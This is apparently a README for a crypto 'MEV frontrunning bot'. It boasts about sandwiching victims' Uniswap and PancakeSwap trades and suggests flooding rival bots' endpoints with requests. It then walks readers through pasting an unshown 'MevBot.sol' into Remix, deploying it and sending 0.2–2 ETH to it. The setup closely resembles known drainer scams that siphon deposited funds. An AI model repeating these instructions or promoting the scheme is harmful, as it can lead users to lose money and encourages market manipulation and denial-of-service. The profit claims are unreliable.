Frontrunning bots take advantage of users buying low liquidity coins on DEXes such as Uniswap, Sushiswap, and PancakeSwap. The frontrun bot scans the mempool, buys the coins faster than the pending transactions, and quickly resells it for a profit.
Although my commercial code is superior, the code being presented was not intended for public viewing. It was designed to be "tested in production" with numerous quality tradeoffs made. I had no intentions of releasing this code publicly as it could potentially "leak my alpha". Nevertheless, I would like to showcase the knowledge I have gained over the past few years.
Bot sends the Transaction and sniffs the Uniswap Mempool.
Bots then compete to buy up the token onchain as quickly as possible, sandwiching the victims transaction and creating a profitable slippage opportunity. It takes advantage of users buying low liquidity coins on DEXes including UniSwap, SushiSwap, and PancakeSwap.
After profiting, it sends back the ETH / BNB to the contract that you deployed where it is ready for withdrawal.
This bot performs all of that, faster than 99% of other bots.
But ser, there are open source bots that do the same.
Yes, there indeed are. Mine was first, tho. And I still outperform them. Reading their articles makes me giggle, as I went through their same pains and from a bot builder to a bot builder, i feel these guys. <3
Wen increase aggressiveness ?
As I've spent a year obsessing about this, i have a list of target endpoints that I know other bots use, which i could flood with requests in order to make them lose up to 5 seconds of reaction time and gain an edge over them.
What did I learn?
MEV, Frontrunning, EIP-1559, "The Dark Forest", all sorts of tricks to exploit more web2 kind of architectures. And all sorts of ins and outs aboout Unsiwap.
So why stop?
I've made some profits from this but now I'm using some better commercial methods, ready to share what I have learnt so devs don't need to go through the same pain.
Towards the end, I found myself consistently being outcompeted by this person:
https://etherscan.io/address/0x55659ddee6cb013c35301f6f3cc8482de857ea8e
If this is you, I'd like to congratulate you on your success. I have been following your every trade for months, and have not been able to figure out how you get ±20 secs earlier than I do. What a fucking chad.
But I will give you some competition. (ㆆ_ㆆ)
- Check every WETH pair.
- Calculate possible profit
- Automatically submit transaction with higher gas fee than target (in order to get tokens first, low price > seek profit, gas fee included in calculation)
- Automatically sell tokens with prior gas fee (in order to be the first who sell tokens at higher price)
create-a-frontrunner-bot-on-uniswap
You can see an example of how the bot works.
The bot will make transactions on your entire balance to increase profit
Access the Remix IDE (this website is where we deploy the smart contract): https://remix.ethereum.org/
Hover over the tiny button in the top left and click and create new file "mevbot.sol" Copy the code from "MevBot.sol" and paste in Remix IDE
Press "Compile Mev Bot.sol" in Blue
Make sure to include router address also
Copy your MevBot contract address and send a number of Ethereum / BNB to the bot's balance for the bot to work. And start it with the "Start" button.
The MEVBot begins trading immeditately, simpy wait for profits to accumulate.
Due to high network usage to ensure successful transactions on the Ethereum network, maintain a sufficient balance to cover gas fees (recommended 0.2 - 2 ETH).
You can stop the bot or withdraw your funds at any time by calling the withdrawal function.